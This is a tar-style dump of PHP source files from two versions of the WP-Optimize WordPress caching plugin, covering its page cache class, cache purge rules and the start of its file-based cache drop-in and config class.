		// case 2: the file already exists but it's read-only
		if (is_file($advanced_cache_filename) && !is_writable($advanced_cache_filename)) {
			if (version_compare($this->get_advanced_cache_version(), $this->_minimum_advanced_cache_file_version, '<') || $update_required) {
				$this->advanced_cache_file_writing_error = true;
				return false;
			} else {
				$this->advanced_cache_file_writing_error = false;
				return true;
			}
		}

		if (!file_put_contents($this->get_advanced_cache_filename(), $this->advanced_cache_file_content)) {
			$this->advanced_cache_file_writing_error = true;
			return false;
		}

		$this->advanced_cache_file_writing_error = false;
		return true;
	}

	/**
	 * Update advanced cache version if needed.
	 */
	public function maybe_update_advanced_cache() {

		if (!$this->is_enabled()) return;

		if (!defined('WPO_PLUGIN_LOCATION_NOT_FOUND') || (defined('WPO_PLUGIN_LOCATION_NOT_FOUND') && true === WPO_PLUGIN_LOCATION_NOT_FOUND)) {
			if (!$this->write_advanced_cache(true)) {
				add_action('admin_notices', array($this, 'show_admin_notice_advanced_cache'));
			}
		}

		// from 3.0.17 we use more secure way to store cache config files and need update advanced-cache.php
		$advanced_cache_current_version = $this->get_advanced_cache_version();
		if ($advanced_cache_current_version && version_compare($advanced_cache_current_version, $this->_minimum_advanced_cache_file_version, '>=')) return;

		if (!$this->write_advanced_cache()) {
			add_action('admin_notices', array($this, 'notice_advanced_cache_autoupdate_error'));
		} else {
			$this->update_cache_config();
		}
	}

	/**
	 * Show notification when advanced-cache.php could not be updated.
	 */
	public function notice_advanced_cache_autoupdate_error() {
		$this->show_notice(__('The file advanced-cache.php needs to be updated, but the automatic process failed.', 'wp-optimize').
		' <a href="'.admin_url('admin.php?page=wpo_cache').'">'.__('Please try to disable and then re-enable the WP-Optimize cache manually.', 'wp-optimize').'</a>', 'error');
	}

	/**
	 * Get WPO version number from advanced-cache.php file.
	 *
	 * @return bool|mixed
	 */
	public function get_advanced_cache_version() {
		if (!is_file($this->get_advanced_cache_filename())) return false;

		$version = false;
		$content = file_get_contents($this->get_advanced_cache_filename());

		if (preg_match('/WP\-Optimize advanced\-cache\.php \(written by version\: (.+)\)/Ui', $content, $match)) {
			$version = $match[1];
		}

		return $version;
	}

	/**
	 * Set WP_CACHE on or off in wp-config.php
	 *
	 * @param  boolean $status value of WP_CACHE.
	 * @return boolean true if the value was set, false otherwise
	 */
	private function write_wp_config($status = true) {
		// If we changed the value in wp-config, save it, in case we need to change it again in the same run.
		static $changed = false;

		if (defined('WP_CACHE') && WP_CACHE === $status && !$changed) {
			return true;
		}

		$config_path = $this->_get_wp_config();

		// Couldn't find wp-config.php.
		if (!$config_path) {
			return false;
		}

		$config_file_string = file_get_contents($config_path);

		// Config file is empty. Maybe couldn't read it?
		if (empty($config_file_string)) {
			return false;
		}

		$config_file = preg_split("#(\n|\r\n)#", $config_file_string);
		$line_key    = false;

		foreach ($config_file as $key => $line) {
			if (!preg_match('/^\s*define\(\s*(\'|")([A-Z_]+)(\'|")(.*)/i', $line, $match)) {
				continue;
			}

			if ('WP_CACHE' === $match[2]) {
				$line_key = $key;
			}
		}

		if (false !== $line_key) {
			unset($config_file[$line_key]);
		}


		if ($status) {
			array_shift($config_file);
			array_unshift($config_file, '<?php', "define('WP_CACHE', true); // WP-Optimize Cache");
		}

		foreach ($config_file as $key => $line) {
			if ('' === $line) {
				unset($config_file[$key]);
			}
		}
		if (!file_put_contents($config_path, implode(PHP_EOL, $config_file))) {
			return false;
		}
		$changed = true;
		return true;
	}

	/**
	 * Verify we can write to the file system
	 *
	 * @return boolean
	 */
	private function verify_cache() {
		if (function_exists('clearstatcache')) {
			clearstatcache();
		}
		$errors = 0;

		// First check wp-config.php.
		if (!$this->_get_wp_config() && !is_writable($this->_get_wp_config())) {
			$this->log("Unable to write to or find wp-config.php; please check file/folder permissions");
			$this->add_warning('verify_cache', __("Unable to write to or find wp-config.php; please check file/folder permissions.", 'wp-optimize'));
		}

		$advanced_cache_file = untrailingslashit(WP_CONTENT_DIR).'/advanced-cache.php';
		
		// Now check wp-content. We need to be able to create files of the same user as this file.
		if ((!file_exists($advanced_cache_file) || false === strpos(file_get_contents($advanced_cache_file), 'WP-Optimize advanced-cache.php')) && !is_writable($advanced_cache_file) && !is_writable(untrailingslashit(WP_CONTENT_DIR))) {
			$this->log("Unable to write the file advanced-cache.php inside the wp-content folder; please check file/folder permissions");
			$this->add_error('verify_cache', __("Unable to write the file advanced-cache.php inside the wp-content folder; please check file/folder permissions", 'wp-optimize'));
			$errors++;
		}

		if (file_exists(WPO_CACHE_FILES_DIR)) {
			if (!is_writable(WPO_CACHE_FILES_DIR)) {
				$this->log("Unable to write inside the cache files folder; please check file/folder permissions");
				$this->add_warning('verify_cache', sprintf(__("Unable to write inside the cache files folder (%s); please check file/folder permissions (no cache files will be able to be created otherwise)", 'wp-optimize'), WPO_CACHE_FILES_DIR));
			}
		}
		
		if (file_exists(WPO_CACHE_CONFIG_DIR)) {
			if (!is_writable(WPO_CACHE_CONFIG_DIR)) {
				$this->log("Unable to write inside the cache configuration folder; please check file/folder permissions");
				// If the config exists, only send a warning. Otherwise send an error.
				$type = 'warning';
				if (!file_exists(WPO_CACHE_CONFIG_DIR . '/'.$this->get_cache_config_filename())) {
					$type = 'error';
					$errors++;
				}
				$this->add_error('verify_cache', sprintf(__("Unable to write inside the cache configuration folder (%s); please check file/folder permissions", 'wp-optimize'), WPO_CACHE_CONFIG_DIR), $type);
			}
		}

		return !$errors;
	}

	/**
	 * Update cache config. Used to support 3d party plugins.
	 */
	public function update_cache_config() {
		// get current cache settings.
		$current_config = $this->config->get();
		// and call update to change if need cookies and query variable names.
		$this->config->update($current_config, true);
	}

	/**
	 * Delete information about cache size.
	 */
	public function delete_cache_size_information() {
		delete_transient('wpo_get_cache_size');
	}

	/**
	 * Get current cache size.
	 *
	 * @return array
	 */
	public function get_cache_size() {
		$cache_size = get_transient('wpo_get_cache_size');

		if (!empty($cache_size)) return $cache_size;

		$infos = $this->get_dir_infos(WPO_CACHE_FILES_DIR);
		$cache_size = array(
			'size' => $infos['size'],
			'file_count' => $infos['file_count']
		);

		set_transient('wpo_get_cache_size', $cache_size);

		return $cache_size;
	}

	/**
	 * Fetch directory informations.
	 *
	 * @param string $dir
	 * @return array
	 */
	private function get_dir_infos($dir) {
		$dir_size = 0;
		$file_count = 0;

		$handle = is_dir($dir) ? opendir($dir) : false;

		if (false === $handle) {
			return array('size' => 0, 'file_count' => 0);
		}

		$file = readdir($handle);

		while (false !== $file) {

			if ('.' != $file && '..' != $file) {
				$current_file = $dir.'/'.$file;

				if (is_dir($current_file)) {
					$sub_dir_infos = $this->get_dir_infos($current_file);
					$dir_size += $sub_dir_infos['size'];
					$file_count += $sub_dir_infos['file_count'];
				} elseif (is_file($current_file)) {
					$dir_size += filesize($current_file);
					$file_count++;
				}
			}

			$file = readdir($handle);

		}

		return array('size' => $dir_size, 'file_count' => $file_count);
	}

	/**
	 * Returns the path to wp-config
	 *
	 * @return string|boolean wp-config.php path.
	 */
	private function _get_wp_config() {

		$config_path = false;

		foreach (get_included_files() as $filename) {
			if (preg_match('/(\\\\|\/)wp-config\.php$/i', $filename)) {
				$config_path = $filename;
				break;
			}
		}

		// WP-CLI doesn't include wp-config.php that's why we use function from WP-CLI to locate config file.
		if (!$config_path && is_callable('wpo_wp_cli_locate_wp_config')) {
			$config_path = wpo_wp_cli_locate_wp_config();
		}

		return $config_path;
	}

	/**
	 * Util to delete folders and/or files
	 *
	 * @param string $src
	 * @return boolean
	 */
	public static function delete($src) {

		return wpo_delete_files($src);

	}

	/**
	 * Delete cached files for specific url.
	 *
	 * @param string $url
	 * @param bool   $recursive If true child elements will deleted too
	 *
	 * @return bool
	 */
	public static function delete_cache_by_url($url, $recursive = false) {
		if (!defined('WPO_CACHE_FILES_DIR') || '' == $url) return;

		$path = self::get_full_path_from_url($url);

		do_action('wpo_delete_cache_by_url', $url, $recursive);

		return wpo_delete_files($path, $recursive);
	}

	/**
	 * Delete cached files for single post.
	 *
	 * @param integer $post_id The post ID
	 *
	 * @return bool
	 */
	public static function delete_single_post_cache($post_id) {
	
		if (!defined('WPO_CACHE_FILES_DIR')) return;

		$post_url = get_permalink($post_id);
	
		$path = self::get_full_path_from_url($post_url);

		// for posts with pagination run purging cache recursively.
		$post = get_post($post_id);
		$recursive = preg_match('/\<\!--nextpage--\>/', $post->post_content) ? true : false;

		do_action('wpo_delete_cache_by_url', $post_url, $recursive);

		return wpo_delete_files($path, $recursive);
	}

	/**
	 * Delete cached home page files.
	 */
	public static function delete_homepage_cache() {
	
		if (!defined('WPO_CACHE_FILES_DIR')) return;

		$homepage_url = get_home_url(get_current_blog_id());

		$path = self::get_full_path_from_url($homepage_url);

		do_action('wpo_delete_cache_by_url', $homepage_url, false);

		wpo_delete_files($path, false);
	}

	/**
	 * Delete sitemap cahche.
	 */
	public static function delete_sitemap_cache() {
		if (!defined('WPO_CACHE_FILES_DIR')) return;

		$homepage_url = get_home_url(get_current_blog_id());

		$path = trailingslashit(WPO_CACHE_FILES_DIR) . trailingslashit(wpo_get_url_path($homepage_url));

		if (!is_dir($path)) return;

		$handle = opendir($path);

		if (false !== $handle) {
			$file = readdir($handle);

			while (false !== $file) {
	
				if ('.' != $file && '..' != $file && is_dir($path . $file) && preg_match('/.*sitemap.*\.xml/i', $file)) {
					do_action('wpo_delete_cache_by_url', $path . $file, false);
					wpo_delete_files($path . $file, true);
				}
	
				$file = readdir($handle);
			}
		}

		closedir($handle);
	}

	/**
	 * Delete feed from cache.
	 */
	public static function delete_feed_cache() {
		if (!defined('WPO_CACHE_FILES_DIR')) return;

		$homepage_url = get_home_url(get_current_blog_id());

		$path = self::get_full_path_from_url($homepage_url) . 'feed/';

		do_action('wpo_delete_cache_by_url', $path, true);

		wpo_delete_files($path, true);
	}

	/**
	 * Delete post feed from cache.
	 */
	public static function delete_post_feed_cache($post_id) {
		if (!defined('WPO_CACHE_FILES_DIR')) return;

		$post_url = get_permalink($post_id);
	
		$path = self::get_full_path_from_url($post_url) . 'feed/';

		do_action('wpo_delete_cache_by_url', $path, true);

		wpo_delete_files($path, true);
	}

	/**
	 * Delete comments feed from cache.
	 */
	public static function delete_comments_feed() {
		if (!defined('WPO_CACHE_FILES_DIR')) return;

		$comments_feed_url = trailingslashit(get_home_url(get_current_blog_id())) . 'comments/feed/';

		$path = self::get_full_path_from_url($comments_feed_url);

		do_action('wpo_delete_cache_by_url', $comments_feed_url, true);

		wpo_delete_files($path, true);

		// delete empty comments dir from the cache
		$comments_url = trailingslashit(get_home_url(get_current_blog_id())) . 'comments/';
		$path = self::get_full_path_from_url($comments_url);

		if (wpo_is_empty_dir($path)) {
			wpo_delete_files($path, true);
		}
	}

	/**
	 * Returns full path to the cache folder by url.
	 *
	 * @param string $url
	 * @return string
	 */
	private static function get_full_path_from_url($url) {
		return trailingslashit(WPO_CACHE_FILES_DIR) . trailingslashit(wpo_get_url_path($url));
	}

	/**
	 * Admin actions
	 *
	 * @return void
	 */
	public function admin_init() {
		// Maybe update the advanced cache.
		if ((!defined('DOING_AJAX') || !DOING_AJAX) && current_user_can('update_plugins')) {
			$this->maybe_update_advanced_cache();
		}
	}

	/**
	 * Logs error messages
	 *
	 * @param  string $message
	 * @return null|void
	 */
	public function log($message) {
		if (isset($this->logger)) {
			$this->logger->log($message, 'error');
		} else {
			error_log($message);
		}
	}

	/**
	 * Returns an instance of the current class, creates one if it doesn't exist
	 *
	 * @return object
	 */
	public static function instance() {
		if (empty(self::$instance)) {
			self::$instance = new self();
		}
		return self::$instance;
	}

	/**
	 * Adds an error to the error store
	 *
	 * @param string $code    - The error code
	 * @param string $message - The error's message
	 * @param string $type    - The error's type (error, warning)
	 * @return void
	 */
	public function add_error($code, $message, $type = 'error') {
		if (!isset($this->_errors[$type])) {
			$this->_errors[$type] = new WP_Error($code, $message);
		} else {
			$this->_errors[$type]->add($code, $message);
		}
	}

	/**
	 * Adds a warning to the error store
	 *
	 * @param string $code    - The error code
	 * @param string $message - The error's message
	 * @return void
	 */
	public function add_warning($code, $message) {
		$this->add_error($code, $message, 'warning');
	}

	/**
	 * Get all recorded errors
	 *
	 * @param string  $type              - The error type
	 * @param boolean $get_messages_only - Whether to get only the messages, or the full WP_Error object
	 * @return boolean|array|WP_Error
	 */
	public function get_errors($type = 'error', $get_messages_only = true) {
		if (!$this->has_errors($type)) return false;
		$errors = $this->_errors[$type];
		if ($get_messages_only) {
			return $errors->get_error_messages();
		}
		return $errors;
	}

	/**
	 * Check if any errors were recorded
	 *
	 * @param string $type - The error type
	 * @return boolean
	 */
	public function has_errors($type = 'error') {
		return isset($this->_errors[$type]) && !empty($this->_errors[$type]) && $this->_errors[$type]->has_errors();
	}

	/**
	 * Check if any warnings were recorded
	 *
	 * @return boolean
	 */
	public function has_warnings() {
		return $this->has_errors('warning');
	}

	/**
	 * Check the cache compatibility issues.
	 */
	public function check_compatibility_issues() {
		if (!$this->is_enabled()) return;

		if ($this->is_pagespeedninja_gzip_active()) add_action('admin_notices', array($this, 'show_pagespeedninja_gzip_notice'));
		if ($this->is_farfutureexpiration_gzip_active()) add_action('admin_notices', array($this, 'show_farfutureexpiration_gzip_notice'));
	}

	/**
	 * Check if PageSpeed Ninja is active and GZIP compression option is enabled.
	 *
	 * @return bool
	 */
	public function is_pagespeedninja_gzip_active() {
		if (!class_exists('PagespeedNinja')) return false;

		$options = get_option('pagespeedninja_config');
		$gzip = !empty($options) ? (bool) $options['psi_EnableGzipCompression'] && (bool) $options['html_gzip'] : false;

		return $gzip;
	}

	/**
	 * Output PageSpeed Ninja Gzip notice.
	 */
	public function show_pagespeedninja_gzip_notice() {
		echo '<div id="wp-optimize-pagespeedninja-gzip-notice" class="error wpo-notice"><p><b>'.__('WP-Optimize:', 'wp-optimize').'</b> '.__('Please disable the feature "Gzip compression" in PageSpeed Ninja to prevent conflicts.', 'wp-optimize').'</p></div>';
	}

	/**
	 * Check if Far Future Expiration is active and GZIP compression option is enabled.
	 *
	 * @return bool
	 */
	public function is_farfutureexpiration_gzip_active() {
		if (!class_exists('farFutureExpiration')) return false;

		$options = get_option('far_future_expiration_settings');
		$gzip = !empty($options) ? (bool) $options['enable_gzip'] : false;

		return $gzip;
	}

	/**
	 * Output Far Future Expiration Gzip notice.
	 */
	public function show_farfutureexpiration_gzip_notice() {
		echo '<div id="wp-optimize-pagespeedninja-gzip-notice" class="error wpo-notice"><p><b>'.__('WP-Optimize:', 'wp-optimize').'</b> '.__('Please disable the feature "Gzip compression" in Far Future Expiration to prevent conflicts.', 'wp-optimize').'</p></div>';
	}

	/**
	 * This is a notice to show users that writing `advanced-cache.php` failed
	 */
	public function show_admin_notice_advanced_cache() {
		$message = sprintf(__('The request to write the file %s failed.', 'wp-optimize'), htmlspecialchars($this->get_advanced_cache_filename()));
		$message .= ' '.__('Please check file and directory permissions on the file paths up to this point, and your PHP error log.', 'wp-optimize');
		WP_Optimize()->include_template('notices/cache-notice.php', false, array('message' => $message));
	}
}

endif;
cms/wordpress/wp-optimize-versions/wp-optimize.3.2/wp-optimize/cache/class-wpo-cache-rules.php000644 000000 000000 00000030100 14173760430 033046 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Page caching rules and exceptions
 */

if (!class_exists('WPO_Cache_Config')) require_once('class-wpo-cache-config.php');

require_once dirname(__FILE__) . '/file-based-page-cache-functions.php';

if (!class_exists('WPO_Cache_Rules')) :

class WPO_Cache_Rules {

	/**
	 * Cache config object
	 *
	 * @var mixed
	 */
	public $config;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;

	public function __construct() {
		$this->config = WPO_Cache_Config::instance()->get();
		$this->setup_hooks();
	}

	/**
	 * Setup hooks/filters
	 */
	public function setup_hooks() {
		add_action('save_post', array($this, 'purge_post_on_update'), 10, 1);
		add_action('save_post', array($this, 'purge_archive_pages_on_post_update'), 10, 1);
		add_action('wp_trash_post', array($this, 'purge_post_on_update'), 10, 1);
		add_action('comment_post', array($this, 'purge_post_on_comment'), 10, 3);
		add_action('wp_set_comment_status', array($this, 'purge_post_on_comment_status_change'), 10, 1);
		add_action('edit_terms', array($this, 'purge_related_elements_on_term_updated'), 10, 2);
		add_action('set_object_terms', array($this, 'purge_related_elements_on_post_terms_change'), 10, 6);
		add_action('wpo_cache_config_updated', array($this, 'cache_config_updated'), 10, 1);
		add_action('wp_insert_comment', array($this, 'comment_inserted'), 10, 2);

		add_action('woocommerce_variation_set_stock', array($this, 'purge_product_page'), 10, 1);
		add_action('woocommerce_product_set_stock', array($this, 'purge_product_page'), 10, 1);

		/**
		 * List of hooks for which when executed, the cache will be purged
		 *
		 * @param array $actions The actions
		 */
		$purge_on_action = apply_filters('wpo_purge_cache_hooks', array('after_switch_theme', 'wp_update_nav_menu', 'customize_save_after', array('wp_ajax_save-widget', 0), array('wp_ajax_update-widget', 0), 'autoptimize_action_cachepurged', 'upgrader_overwrote_package', 'wpo_active_plugin_or_theme_updated', 'fusion_cache_reset_after'));
		foreach ($purge_on_action as $action) {
			if (is_array($action)) {
				add_action($action[0], array($this, 'purge_cache'), $action[1]);
			} else {
				add_action($action, array($this, 'purge_cache'));
			}
		}

		add_filter('wpo_cache_cookies', array($this, 'wpo_cache_cookies'), 9);
	}

	/**
	 * Purge post cache when there is a new approved comment
	 *
	 * @param  int        $comment_id  Comment ID.
	 * @param  int|string $approved    Comment approved status. can be 0, 1 or 'spam'.
	 * @param  array      $commentdata Comment data array. Always sent be WP core, but a plugin was found that does not send it - https://wordpress.org/support/topic/critical-problems-with-version-3-0-10/
	 */
	public function purge_post_on_comment($comment_id, $approved, $commentdata = array()) {
		if (1 !== $approved) {
			return;
		}

		if (!empty($this->config['enable_page_caching']) && !empty($commentdata['comment_post_ID'])) {
			$post_id = $commentdata['comment_post_ID'];

			WPO_Page_Cache::delete_single_post_cache($post_id);
			WPO_Page_Cache::delete_comments_feed();
		}
	}

	/**
	 * Every time a comment's status changes, purge it's parent posts cache
	 *
	 * @param int $comment_id Comment ID.
	 */
	public function purge_post_on_comment_status_change($comment_id) {
		if (!empty($this->config['enable_page_caching'])) {
			$comment = get_comment($comment_id);
			if (is_object($comment) && !empty($comment->comment_post_ID)) {
				WPO_Page_Cache::delete_single_post_cache($comment->comment_post_ID);
				WPO_Page_Cache::delete_comments_feed();
			}
		}
	}

	/**
	 * Action when a comment is inserted
	 *
	 * @param integer            $comment_id - The comment ID
	 * @param boolean|WP_Comment $comment    - The comment object (from WP 4.4)
	 * @return void
	 */
	public function comment_inserted($comment_id, $comment = false) {
		if ($comment && is_a($comment, 'WP_Comment')) {
			/**
			 * Filters whether to add a cookie when a comment is posted, in order to exclude the page from caching.
			 * Regular comments have the property comment_type set to ''  or 'comment'. So by default, only add the cookie in those cases.
			 *
			 * @param boolean    $add_cookie
			 * @param WP_Comment $comment
			 * @return boolean
			 */
			$add_cookie = apply_filters('wpo_add_commented_post_cookie', '' == $comment->comment_type || 'comment' == $comment->comment_type, $comment);
			if (!$add_cookie) return;

			$url = get_permalink($comment->comment_post_ID);
			$url_info = parse_url($url);
			setcookie('wpo_commented_post', 1, time() + WEEK_IN_SECONDS, isset($url_info['path']) ? $url_info['path'] : '/');
		}
	}

	/**
	 * Automatically purge all file based page cache on post changes
	 * We want the whole cache purged here as different parts
	 * of the site could potentially change on post updates
	 *
	 * @param Integer $post_id - WP post id
	 */
	public function purge_post_on_update($post_id) {
		$post_type = get_post_type($post_id);
		$post_type_object = get_post_type_object($post_type);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type || !$post_type_object->public) {
			return;
		}

		/**
		 * Purge the whole cache if set to true, only the edited post otherwise. Default is false.
		 *
		 * @param boolean $purge_all_cache The default filter value
		 * @param integer $post_id         The saved post ID
		 */
		if (apply_filters('wpo_purge_all_cache_on_update', false, $post_id)) {
			$this->purge_cache();
			return;
		} else {
			if (apply_filters('wpo_delete_cached_homepage_on_post_update', true, $post_id)) WPO_Page_Cache::delete_homepage_cache();
			WPO_Page_Cache::delete_feed_cache();
			WPO_Page_Cache::delete_single_post_cache($post_id);
			WPO_Page_Cache::delete_sitemap_cache();
			WPO_Page_Cache::delete_post_feed_cache($post_id);
		}
	}

	/**
	 * Purge archive pages on post update.
	 *
	 * @param integer $post_id
	 */
	public function purge_archive_pages_on_post_update($post_id) {
		$post_type = get_post_type($post_id);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type) {
			return;
		}

		$post_obj = get_post_type_object($post_type);

		if ('post' == $post_type) {
			// delete blog page cache
			$blog_post_id = get_option('page_for_posts');
			if ($blog_post_id) {
				WPO_Page_Cache::delete_cache_by_url(get_permalink($blog_post_id), true);
			}
		
			// delete next and previus posts cache.
			$globals_post = isset($GLOBALS['post']) ? $GLOBALS['post'] : false;
			$GLOBALS['post'] = get_post($post_id);
			$previous_post = function_exists('get_previous_post') ? get_previous_post() : false;
			$next_post = function_exists('get_next_post') ? get_next_post() : false;
			if ($globals_post) $GLOBALS['post'] = $globals_post;
			
			if ($previous_post) WPO_Page_Cache::delete_cache_by_url(get_permalink($previous_post), true);
			if ($next_post) WPO_Page_Cache::delete_cache_by_url(get_permalink($next_post), true);
			
			// delete all archive pages for post.
			$post_date = get_post_time('Y-m-j', false, $post_id);
			list($year, $month, $day) = $post_date;

			$archive_links = array(
				get_year_link($year),
				get_month_link($year, $month),
				get_day_link($year, $month, $day),
			);

			foreach ($archive_links as $link) {
				WPO_Page_Cache::delete_cache_by_url($link, true);
			}
		} elseif ($post_obj->has_archive) {
			// delete archive page for custom post type.
			WPO_Page_Cache::delete_cache_by_url(get_post_type_archive_link($post_type), true);
		}

	}

	/**
	 * We use it with edit_terms action filter to purge cached elements related
	 * to updated term when term updated.
	 *
	 * @param int    $term_id  Term taxonomy ID.
	 * @param string $taxonomy Taxonomy slug.
	 */
	public function purge_related_elements_on_term_updated($term_id, $taxonomy) {
		// purge cached page for term.
		$term = get_term($term_id, $taxonomy, ARRAY_A);
		if (is_array($term)) {
			$term_permalink = get_term_link($term['term_id']);
			if (!is_wp_error($term_permalink)) {
				WPO_Page_Cache::delete_cache_by_url($term_permalink, true);
			}
		}

		// get posts which belongs to updated term.
		$posts = get_posts(array(
			'numberposts'      => -1,
			'post_type'        => 'any',
			'fields'           => 'ids',
			'tax_query' => array(
				'relation' => 'OR',
				array(
					'taxonomy' => $taxonomy,
					'field'    => 'term_id',
					'terms'    => $term_id,
				)
			),
		));

		if (!empty($posts)) {
			foreach ($posts as $post_id) {
				WPO_Page_Cache::delete_single_post_cache($post_id);
			}
		}
	}

	/**
	 * Triggered by set_object_terms action. Used to clear all the terms archives a post belongs to or belonged to before being saved.
	 *
	 * @param int    $object_id  Object ID.
	 * @param array  $terms      An array of object terms.
	 * @param array  $tt_ids     An array of term taxonomy IDs.
	 * @param string $taxonomy   Taxonomy slug.
	 * @param bool   $append     Whether to append new terms to the old terms.
	 * @param array  $old_tt_ids Old array of term taxonomy IDs.
	 */
	public function purge_related_elements_on_post_terms_change($object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids) {

		$post_type = get_post_type($object_id);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type || 'product_type' === $taxonomy || 'action-group' === $taxonomy) {
			return;
		}

		/**
		 * Adds a way to exit the purge of terms permalink using the provided parameters.
		 *
		 * @param bool   $purge      The value filtered, whether or not to purge the related elements
		 * @param int    $object_id  Object ID.
		 * @param array  $terms      An array of object terms.
		 * @param array  $tt_ids     An array of term taxonomy IDs.
		 * @param string $taxonomy   Taxonomy slug.
		 * @param bool   $append     Whether to append new terms to the old terms.
		 * @param array  $old_tt_ids Old array of term taxonomy IDs.
		 * @default true
		 * @return boolean
		 */
		if (!apply_filters('wpo_cache_purge_related_elements_on_post_terms_change', true, $object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids)) return;

		// get all affected terms.
		$affected_terms_ids = array_unique(array_merge($tt_ids, $old_tt_ids));

		if (!empty($affected_terms_ids)) {
			// walk through all changed terms and purge cached pages for them.
			foreach ($affected_terms_ids as $tt_id) {
				$term = get_term($tt_id, $taxonomy, ARRAY_A);
				if (!is_array($term)) continue;

				$term_permalink = get_term_link($term['term_id']);
				if (!is_wp_error($term_permalink)) {
					$url = parse_url($term_permalink);
					// Check if the permalink contains a valid path, to avoid deleting the whole cache.
					if (!isset($url['path']) || '/' === $url['path']) return;
					WPO_Page_Cache::delete_cache_by_url($term_permalink, true);
				}
			}
		}
	}

	/**
	 * Purge product page upon stock update
	 */
	public function purge_product_page($product_with_stock) {
		if (!empty($product_with_stock->get_id())) {
			WPO_Page_Cache::delete_single_post_cache($product_with_stock->get_id());
		}
	}

	/**
	 * Clears the cache.
	 */
	public function purge_cache() {
		if (!empty($this->config['enable_page_caching'])) {
			wpo_cache_flush();
		}
	}

	/**
	 * Triggered by wpo_cache_config_updated.
	 *
	 * @param array $config
	 */
	public function cache_config_updated($config) {
		// delete front page form cache if defined in the settings
		if (is_array($config['cache_exception_urls']) && in_array('/', $config['cache_exception_urls'])) {
			WPO_Page_Cache::delete_cache_by_url(home_url());
		}
	}

	/**
	 * Add cookie names that are need separate caching
	 */
	public function wpo_cache_cookies($cookies) {
		$cookies[] = 'cookie_notice_accepted';
		$cookies[] = 'cookielawinfo-checkbox-necessary';
		$cookies[] = 'cookielawinfo-checkbox-functional';
		$cookies[] = 'cookielawinfo-checkbox-advertisement';
		$cookies[] = 'cookielawinfo-checkbox-others';
		$cookies[] = 'cookielawinfo-checkbox-analytics';
		$cookies[] = 'cookielawinfo-checkbox-performance';
		return $cookies;
	}

	/**
	 * Returns an instance of the current class, creates one if it doesn't exist
	 *
	 * @return object
	 */
	public static function instance() {
		if (empty(self::$instance)) {
			self::$instance = new self();
		}
		return self::$instance;
	}
}

endif;
cms/wordpress/wp-optimize-versions/wp-optimize.3.2/wp-optimize/cache/php-5.3-functions.php000644 000000 000000 00000000575 13614520640 032056 0ustar00rootwheel000000 000000 <?php

/**
 * Get path to wp-config.php when called from WP-CLI.
 *
 * @return string
 */
function wpo_wp_cli_locate_wp_config() {
	$config_path = '';

	if (is_callable('\WP_CLI\Utils\locate_wp_config')) {
		// phpcs:ignore PHPCompatibility.LanguageConstructs.NewLanguageConstructs.t_ns_separatorFound
		$config_path = \WP_CLI\Utils\locate_wp_config();
	}

	return $config_path;
}
cms/wordpress/wp-optimize-versions/wp-optimize.2.2/wp-optimize/000755 000000 000000 00000000000 14214670220 025167 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.2.2/wp-optimize/cache/000755 000000 000000 00000000000 14214670220 026232 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.2.2/wp-optimize/cache/file-based-page-cache.php000644 000000 000000 00000003543 13416124150 032715 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * File based page cache drop in
 */
require_once(dirname(__FILE__) . '/file-based-page-cache-functions.php');

// Don't cache robots.txt or htacesss.
if (false !== strpos($_SERVER['REQUEST_URI'], 'robots.txt') || false !== strpos($_SERVER['REQUEST_URI'], '.htaccess')) {
	return;
}

// Don't cache non-GET requests.
if (!isset($_SERVER['REQUEST_METHOD']) || 'GET' !== $_SERVER['REQUEST_METHOD']) return;

$file_extension = $_SERVER['REQUEST_URI'];
$file_extension = preg_replace('#^(.*?)\?.*$#', '$1', $file_extension);
$file_extension = trim(preg_replace('#^.*\.(.*)$#', '$1', $file_extension));

// Don't cache disallowed extensions. Prevents wp-cron.php, xmlrpc.php, etc.
if (!preg_match('#index\.php$#i', $_SERVER['REQUEST_URI']) && in_array($file_extension, array( 'php', 'xml', 'xsl' ))) {
	return;
}

// Don't cache if logged in.
if (!empty($_COOKIE)) {
	$wp_cookies = array( 'wordpressuser_', 'wordpresspass_', 'wordpress_sec_', 'wordpress_logged_in_' );

	foreach ($_COOKIE as $key => $value) {
		foreach ($wp_cookies as $cookie) {
			if (strpos($key, $cookie) !== false) {
				// Logged in!
				return;
			}
		}
	}

	if (!empty($_COOKIE['wpo_commented_posts'])) {
		foreach ($_COOKIE['wpo_commented_posts'] as $path) {
			if (rtrim($path, '/') === rtrim($_SERVER['REQUEST_URI'], '/')) {
				// User commented on this post.
				return;
			}
		}
	}
}

// Deal with optional cache exceptions.
if (!empty($GLOBALS['wpo_cache_config']['cache_exception_urls'])) {
	$exceptions = preg_split('#(\n|\r)#', $GLOBALS['wpo_cache_config']['cache_exception_urls']);
	$regex = !empty($GLOBALS['wpo_cache_config']['enable_url_exemption_regex']);

	foreach ($exceptions as $exception) {
		if (wpo_url_exception_match($exception, $regex)) {
			// Exception match.
			return;
		}
	}
}

wpo_serve_cache();

ob_start('wpo_cache');
cms/wordpress/wp-optimize-versions/wp-optimize.2.2/wp-optimize/cache/class-wpo-cache-config.php000644 000000 000000 00000005245 13427270250 033171 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Handles cache configuration and related I/O
 */

if (!class_exists('WPO_Cache_Config')) :

class WPO_Cache_Config {

	/**
	 * Defaults
	 *
	 * @var array
	 */
	public $defaults;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;


	/**
	 * Set config defaults
	 */
	public function __construct() {
		$this->defaults = $this->get_defaults();
	}

	/**
	 * Get config from file or cache
	 *
	 * @return array
	 */
	public function get() {

		if (is_multisite()) {
			$config = get_site_option('wpo_cache_config', $this->get_defaults());
		} else {
			$config = get_option('wpo_cache_config', $this->get_defaults());
		}

		return wp_parse_args($config, $this->get_defaults());
	}


	/**
	 * Updates the given config object in file and DB
	 *
